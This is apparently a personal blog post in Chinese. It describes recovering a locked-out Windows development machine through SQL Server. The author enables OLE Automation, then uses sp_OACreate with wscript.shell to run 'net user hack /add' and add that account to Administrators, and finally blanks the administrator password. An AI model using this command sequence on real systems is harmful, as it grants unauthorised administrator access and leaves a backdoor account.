今天上班的時候,有個同事說不知道誰設置了開機密碼,那台電腦一直沒有開機密碼的他現在進不了桌面
那台電腦沒有光驅,而我手頭上啟動U盤又沒有,不然用winpe自帶的密碼破解工具破解開機密碼了
幸虧那台電腦是開發機而且安裝了SQLSERVER2005,幸虧他記得SQLSERVER的sa用戶和密碼,那就有戲了o
輸入下面的SQL語句,添加一個Administrator組別的系統用戶
代碼如下:
--打開高級選項,看Ole Automation Procedures OLE自動化開啟了沒有
EXEC [sys].[sp_configure] @configname = 'show advanced options', -- varchar(35)
@configvalue = 1 -- int
RECONFIGURE WITH override
GO
--查看是否開啟
EXEC [sys].[sp_configure]
--如果沒有就開啟
EXEC [sys].[sp_configure] @configname = 'Ole Automation Procedures', -- varchar(35)
@configvalue = 1 -- int
代碼如下:
--添加一個hack用戶,所屬用戶組為Administrators
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack /add'
EXEC SP_OAMETHOD @shell,'run',null, 'net localgroup Administrators hack /add'
用hack用戶進入系統,hack的密碼為空,然後進入計算機-》右鍵-》管理-》本地用戶和組-》把administrator的密碼設置為空,
然後打開任務管理器,點擊“用戶”標簽,在用戶界面,選中hack用戶,右鍵-》斷開,Windows彈出對話框說hack用戶的Windows會話會終結,
數據不能保存,選擇“是”,然後彈出登錄對話框,在用戶名的輸入框裡輸入“administrator”,密碼輸入框為空密碼,成功登錄桌面了
幸虧知道SQLSERVER數據庫安全的一些知識,不然真的要重裝系統了,整個過程都是利用了OLE自動化,他相當於給你一個cmd環境,讓你可以輸入cmd命令
其實我覺得SQLSERVER使用Windows服務來寫這個理念是挺好的,不用開機啟動然後需要雙擊sqlserver.exe來運行用Windows服務的話,開機就啟動了都不用進入桌面
我上司跟我說比較大型的平台軟件一般都會用Windows服務來編寫,將關鍵核心部分用Windows服務來運行,就像我們公司的軟件
大部分核心功能都用Windows服務來運行的,不過用Windows服務也有不好的地方,就是如果服務啟動不起來了,您的軟件也運行不了,就像SQLSERVER。